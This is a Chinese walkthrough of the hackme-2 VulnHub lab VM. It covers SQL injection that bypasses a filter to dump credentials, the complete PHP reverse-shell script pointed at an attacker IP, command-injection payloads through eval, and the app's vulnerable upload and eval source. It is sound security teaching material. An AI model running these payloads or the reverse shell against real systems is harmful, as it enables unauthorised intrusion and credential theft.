免责声明:本文记录的是 hackme-2 渗透测试靶机 的解题过程,所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用,请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规,自觉维护网络空间安全。
环境:
https://download.vulnhub.com/hackme/hackme2-DHCP.ova
一、 信息收集
1、主机发现
arp-scan -l
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:24:a4:df, IPv4: 192.168.0.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.2 00:50:56:f2:cf:16 VMware, Inc.
192.168.0.3 00:50:56:c0:00:08 VMware, Inc.
192.168.0.22 00:0c:29:84:77:3b VMware, Inc.
192.168.0.254 00:50:56:e2:a7:25 VMware, Inc.
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.217 seconds (115.47 hosts/sec). 4 responded
目标ip:192.168.0.22
2、端口扫描
nmap -T4 -sV -O -p 22,80 192.168.0.22
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV -O -p 22,80 192.168.0.22
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-28 20:10 EDT
Nmap scan report for 192.168.0.22
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
MAC Address: 00:0C:29:84:77:3B (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds
端口:80和22
3、使用gobuster进行目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.0.22 -t 30
┌──(root㉿kali)-[~]
└─# gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.0.22 -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.22
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,zip,html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.0.22/.html (Status: 403) [Size: 292]
http://192.168.0.22/.php (Status: 403) [Size: 291]
http://192.168.0.22/login.php (Status: 200) [Size: 1245]
http://192.168.0.22/register.php (Status: 200) [Size: 1937]
http://192.168.0.22/uploads (Status: 301) [Size: 314] [–> http://192.168.0.22/uploads/]
http://192.168.0.22/index.php (Status: 200) [Size: 100]
http://192.168.0.22/welcome.php (Status: 302) [Size: 0] [–> login.php]
http://192.168.0.22/logout.php (Status: 302) [Size: 0] [–> login.php]
http://192.168.0.22/config.php (Status: 200) [Size: 0]
http://192.168.0.22/.html (Status: 403) [Size: 292]
http://192.168.0.22/.php (Status: 403) [Size: 291]
http://192.168.0.22/server-status (Status: 403) [Size: 300]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================
dirsearch -u http://192.168.0.22
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.0.22
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/reports/http_192.168.0.22/_25-09-28_20-18-51.txt
Target: http://192.168.0.22/
[20:18:51] Starting:
[20:18:53] 403 – 298B – /.ht_wsr.txt
[20:18:53] 403 – 301B – /.htaccess.bak1
[20:18:53] 403 – 303B – /.htaccess.sample
[20:18:53] 403 – 301B – /.htaccess.save
[20:18:53] 403 – 301B – /.htaccess.orig
[20:18:53] 403 – 302B – /.htaccess_extra
[20:18:53] 403 – 301B – /.htaccess_orig
[20:18:53] 403 – 299B – /.htaccessBAK
[20:18:53] 403 – 299B – /.htaccess_sc
[20:18:53] 403 – 300B – /.htaccessOLD2
[20:18:53] 403 – 299B – /.htaccessOLD
[20:18:53] 403 – 291B – /.htm
[20:18:53] 403 – 292B – /.html
[20:18:53] 403 – 301B – /.htpasswd_test
[20:18:53] 403 – 297B – /.htpasswds
[20:18:53] 403 – 298B – /.httr-oauth
[20:18:54] 403 – 291B – /.php
[20:19:09] 200 – 0B – /config.php
[20:19:19] 200 – 527B – /login.php
[20:19:19] 302 – 0B – /logout.php -> login.php
[20:19:26] 200 – 594B – /register.php
[20:19:27] 403 – 300B – /server-status
[20:19:27] 403 – 301B – /server-status/
[20:19:32] 301 – 314B – /uploads -> http://192.168.0.22/uploads/
Task Completed
扫除网址url,访问,发现访问,只有注册和登录,可以访问,其他的无法范围或范围后跳转到login页面。
http://192.168.0.22/uploads
http://192.168.0.22/login.php
4、网站指纹识别
whatweb http://192.168.0.22
┌──(root㉿kali)-[~]
└─# whatweb http://192.168.0.22
http://192.168.0.22 [200 OK] Apache[2.4.34], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.34 (Ubuntu)], IP[192.168.0.22], Meta-Refresh-Redirect[login.php]
http://192.168.0.22/login.php [200 OK] Apache[2.4.34], Bootstrap[3.3.7], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.34 (Ubuntu)], IP[192.168.0.22], PasswordField[password], Title[Login]
二、漏洞挖掘
1、sql注入
1)、进入主页发现是登录页面,没有用户名及密码,但是页面有注册链接,进行注册用户


2)、使用所注册的用户登陆成功,发现wekcome界面,存在搜索框,单击search,发现存在数据表,推测可能是前端从数据库读取数据


3)、尝试手工注入
Linux OS' or 1=1#
没有回显,猜测应该是有做过滤

4)、SQLMap
使用文件保存的方式,尝试 sqlmap 注入

POST /welcome.php HTTP/1.1
Host: 192.168.0.22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://192.168.0.22
Connection: close
Referer: http://192.168.0.22/welcome.php
Cookie: PHPSESSID=a2a7k5qcsnra0f2dk9pn88vkh6
Upgrade-Insecure-Requests: 1
search=1
search=1:必须为1
将数据包保存为文件 dict.txt 使用 sqlmap 跑一下测试漏洞:
sqlmap -r dict.txt –batch
┌──(root㉿kali)-[~]
└─# sqlmap -r dict.txt –batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.2#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V… |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:34:55 /2025-09-28/
[20:34:55] [INFO] parsing HTTP request from 'dict.txt'
[20:34:55] [INFO] testing connection to the target URL
[20:34:55] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:55] [INFO] testing if the target URL content is stable
[20:34:55] [INFO] target URL content is stable
[20:34:55] [INFO] testing if POST parameter 'search' is dynamic
[20:34:55] [WARNING] POST parameter 'search' does not appear to be dynamic
[20:34:55] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[20:34:55] [INFO] testing for SQL injection on POST parameter 'search'
[20:34:56] [INFO] testing 'AND boolean-based blind – WHERE or HAVING clause'
[20:34:56] [INFO] testing 'Boolean-based blind – Parameter replace (original value)'
[20:34:56] [INFO] testing 'MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:56] [INFO] testing 'PostgreSQL AND error-based – WHERE or HAVING clause'
[20:34:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause (IN)'
[20:34:56] [INFO] testing 'Oracle AND error-based – WHERE or HAVING clause (XMLType)'
[20:34:56] [INFO] testing 'Generic inline queries'
[20:34:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:56] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE – comment)'
[20:34:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:34:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[20:34:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[20:34:56] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[20:34:56] [INFO] testing 'Generic UNION query (NULL) – 1 to 10 columns'
[20:34:56] [WARNING] POST parameter 'search' does not seem to be injectable
[20:34:56] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '–level'/'–risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '–tamper' (e.g. '–tamper=space2comment') and/or switch '–random-agent'
[20:34:56] [WARNING] your sqlmap version is outdated
[*] ending @ 20:34:56 /2025-09-28/
没有成功 根据提示,使用 tamper 脚本,增加参数–tamper=space2comment
sqlmap -r dict.txt –tamper=space2comment –batch
┌──(root㉿kali)-[~]
└─# sqlmap -r dict.txt –tamper=space2comment –batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.2#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V… |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:35:23 /2025-09-28/
[20:35:23] [INFO] parsing HTTP request from 'dict.txt'
[20:35:23] [INFO] loading tamper module 'space2comment'
[20:35:23] [INFO] testing connection to the target URL
[20:35:23] [INFO] testing if the target URL content is stable
[20:35:23] [INFO] target URL content is stable
[20:35:23] [INFO] testing if POST parameter 'search' is dynamic
[20:35:24] [WARNING] POST parameter 'search' does not appear to be dynamic
[20:35:24] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[20:35:24] [INFO] testing for SQL injection on POST parameter 'search'
[20:35:24] [INFO] testing 'AND boolean-based blind – WHERE or HAVING clause'
[20:35:24] [INFO] testing 'Boolean-based blind – Parameter replace (original value)'
[20:35:24] [INFO] testing 'MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:35:24] [INFO] testing 'PostgreSQL AND error-based – WHERE or HAVING clause'
[20:35:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause (IN)'
[20:35:24] [INFO] testing 'Oracle AND error-based – WHERE or HAVING clause (XMLType)'
[20:35:24] [INFO] testing 'Generic inline queries'
[20:35:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:35:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:35:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE – comment)'
[20:35:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:34] [INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[20:35:34] [INFO] testing 'Generic UNION query (NULL) – 1 to 20 columns'
[20:35:34] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:34] [INFO] checking if the injection point on POST parameter 'search' is a false positive
[20:35:49] [WARNING] false positive or unexploitable injection point detected
[20:35:49] [WARNING] POST parameter 'search' does not seem to be injectable
[20:35:49] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '–level'/'–risk' options if you wish to perform more tests
[20:35:49] [WARNING] your sqlmap version is outdated
[*] ending @ 20:35:49 /2025-09-28/
根据提示可以看出是可能存在注入漏洞的,但是 sqlmap 没有跑出来,说明有 WAF 或者代码中存在过滤。
2、手工注入绕过 WAF 代码拦截
先手工注入进行测试
a'/**/and/**/length(database())=1# 没反应
a'/**/and/**/length(database())>1# 没反应
因为是搜索功能,可以加入%号测试
a%'/**/and/**/length(database())=1# 没反应
a%'/**/and/**/length(database())>1# 有结果

说明存在注入,看看是否是时间盲注
a%'/**/and/**/sleep(5)#
有反应,sleep()执行了,说明存在时间盲注,尝试一下 union 注入:
a%'/**/union/**/select/**/1,2,3#

有回显,说明存在 union 注入
接下来获取信息
1、获取数据库名等基本信息:
x%'/**/union/**/select/**/user(),database(),version()#
数据库名为webapphacking

2、获取表名:
x%'/**/union/**/select/**/TABLE_NAME,2,3/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()#
有两个表books,users

3、获取列名:
x%'/**/union/**/select/**/column_name,2,3/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA=database()/**/and/**/TABLE_NAME='users'#
x%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA=database()/**/and/**/TABLE_NAME='users'#


4、获取表信息:
x%'/**/union/**/select/**/user,pasword,3/**/from/**/users#

超级管理员用户:superadmin
密码:2386acb2cf356944177746fc92523983

superadmin/Uncrackable
三、权限提升
1、文件上传
登录上去,发现有上传功能,尝试文件上传 getshell 失败
将 kali 自带的 php-reverse-shell.php 复制一份到
┌──(root㉿kali)-[~]
└─# cp /usr/share/webshells/php/php-reverse-shell.php /root
┌──(root㉿kali)-[~]
└─# ls
公共 模板 视频 图片 文档 下载 音乐 桌面 dict.txt php-reverse-shell.php users.txt
┌──(root㉿kali)-[~]
└─# cat php-reverse-shell.php
<?php
// php-reverse-shell – A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// ———–
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// ———–
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// —–
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = 'kali ip'; // CHANGE THIS
$port = 6666; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try…
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell…
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\\n";
}
}
?>
修改后:
<?php
// php-reverse-shell – A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// ———–
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// ———–
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// —–
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.0.5'; // CHANGE THIS
$port = 6666; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try…
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell…
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\\n";
}
}
?>
burp抓包,上传文件


http://192.168.0.22/uploads/php-reverse.jpg

说明文件名被修改了
2、命令注入获取 shell
后台除了上传功能之外,还一个查询用户名功能,可能有 SQL 注入,或者命令注入漏洞测试命令注入,分别输入12和34,可以发现3*4执行了等于12,说明存在命令注入。

输入 system('id'),
fname=system('id')&lname=system('id')&search=Search+User
执行结果:
User system('id') uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data) cannot be found

输入 system('ls')
fname=system('ls')&lname=system('ls')&search=Search+User
执行结果:
User system('ls') config.php
index.php
login.php
logout.php
register.php
uploads
welcome.php
welcomeadmin.php
welcomeadmin.php cannot be found

查看uploads文件夹:system('ls uploads')
fname=system('ls uploads')&lname=system('ls uploads')&search=Search+User
执行结果:
The system is checking the backend for user: system('ls uploads') system('lsuploads') </br></br>User system('ls uploads') cannot be found

只能查看当前目录下的文件,使用cat<welcomeadmin.php 查看文件内容,看看是否能绕过
查看uploads文件夹:system('cat<welcomeadmin.php')
fname=system('cat<welcomeadmin.php')&lname=system('cat<welcomeadmin.php')&search=Search+User
执行结果:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Hi, welcome back <b>superadmin</b>. There are no anomalies detected.</h1>
<p>
<a href="reset-password.php" class="btn btn-warning">Reset Your Password</a>
<a href="logout.php" class="btn btn-danger">Sign Out of Your Account</a>
</p>
</div>
Select Image to Upload:
<form align="center" action="welcomeadmin.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</br>
Sorry, file already exists.Sorry, your file was not uploaded.
</br>
</br>
</br>
</br>
</br>
This is a feature still undergoing testing.
You can search for users activity here:
<form action="welcomeadmin.php" method="post">
</br>
First Name:<input type="text" name="fname" id="fname">
</br>
Last Name: <input type="text" name="lname" id="lname">
</br>
</br>
<input type="submit" value="Search User" name="search">
</form>
</br>
The system is checking the backend for user: system('cat<welcomeadmin.php') system('cat<welcomeadmin.php') </br></br>User system('cat<welcomeadmin.php') <?php
// Initialize the session
session_start();
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
header("location: login.php");
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Hi, welcome back <b><?php echo htmlspecialchars($_SESSION["name"]); ?></b>. There are no anomalies detected.</h1>
<p>
<a href="reset-password.php" class="btn btn-warning">Reset Your Password</a>
<a href="logout.php" class="btn btn-danger">Sign Out of Your Account</a>
</p>
</div>
Select Image to Upload:
<form align="center" action="welcomeadmin.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</br>
<?php
$target_dir = "/var/www/html/uploads/year2020/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
// if($check !== false) {
// echo "File is an image – " . $check["mime"] . ".";
// $uploadOk = 1;
// } else {
// echo "File is not an image.";
// $uploadOk = 0;
// }
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// whitelist
//if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
//&& $imageFileType != "gif" ) {
// echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
// $uploadOk = 0;
//}
//blacklist
if($imageFileType == "html" || $imageFileType == "js" || $imageFileType=="php" || $imageFileType=="php3" || $imageFileType=="php4" || $imageFileType=="php5") {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to the uploads folder.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
</br>
</br>
</br>
</br>
</br>
This is a feature still undergoing testing.
You can search for users activity here:
<form action="welcomeadmin.php" method="post">
</br>
First Name:<input type="text" name="fname" id="fname">
</br>
Last Name: <input type="text" name="lname" id="lname">
</br>
</br>
<input type="submit" value="Search User" name="search">
</form>
</br>
<?php
$fname = $_POST["fname"];
$lname = $_POST["lname"];
$lname = preg_replace('/[;\\s]/','',$lname);
if($fname=="" || $fname==" " || $lname=="" || $lname==" "){
echo "You have to search with both First and Last name";
}else{
echo "The system is checking the backend for user: ".$fname ." ".$lname." ";
echo "</br>";
echo "</br>";
echo "User ". $fname. " ";
eval("echo ".$lname.";");
echo " cannot be found";
}
?>
?> cannot be found

可以看到文件上传之后的绝对路径是:/var/www/html/uploads/year2020/
而且有黑名单:


尝试上传,发现成功

尝试访问
http://192.168.2.131/uploads/year2020/php-reverse.gif

修改文件扩展名依然需要空格,这个使用用一个 Linux 下的变量$IFS。(测试这个变量在绝对路径下才可以)
